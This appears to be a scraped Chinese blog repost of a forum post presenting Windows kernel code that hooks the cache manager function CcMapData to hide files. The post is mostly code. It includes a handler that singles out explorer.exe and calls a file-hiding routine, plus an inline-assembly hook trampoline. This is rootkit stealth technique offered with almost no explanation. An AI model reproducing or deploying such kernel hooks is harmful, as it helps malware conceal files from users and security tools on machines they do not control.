zoukankan      html  css  js  c++  java
  • [转载]挂接缓存管理器CcMapData()实现文件XX

    原作者Azy,发表于DebugMan论坛。

    =======================================================

    这个方法的最大好处在于简单~~不用分别处理~~

    VOID __stdcall HandleMapData(
        IN PFILE_OBJECT  FileObject,    
        IN PLARGE_INTEGER  FileOffset,    
        IN ULONG  Length,    
        IN ULONG  Flags,    
        OUT PVOID  *Bcb,    
        OUT PVOID  *Buffer
        )
    {    
        if(!_strnicmp((PCHAR)((ULONG)PsGetCurrentProcess() + ImageNameOffset), "explorer.exe", strlen("explorer.exe")))    
        {        
            if(CcPinMappedData(FileObject, FileOffset, Length, Flags, Bcb))            
            {            
                HandleFileHide(*Buffer, Length);            
            }    
        }
        return;        
    }
    
    void __declspec(naked) NewCcMapData()
    {    
        __asm        
        {
            pushad        
            pushfd        
            cli        
            push [ebp+1ch]        
            push [ebp+18h]        
            push [ebp+14h]        
            push [ebp+10h]        
            push [ebp+0ch]        
            push [ebp+8]        
            call HandleMapData        
            sti                
            popfd        
            popad        
            mov ecx, [ebp-10h]        
            mov fs:0, ecx        
            pop edi        
            pop esi        
            pop ebx        
            _emit    0xc9        
            ret 18h        
        }    
    }
  • 相关阅读:
    Vue入门
    吃透SprinngBoot
    SSM整合详解
    Linux查找端口并关闭
    接入腾讯云的OCR识别身份证信息
    IDEA 快捷键《宋红康版》
    Mysql详解
    docker常见命令
    SpringBoot集成Redis
    使用mybatis出现异常
  • 原文地址:https://www.cnblogs.com/achillis/p/5585012.html
Copyright © 2011-2022 走看看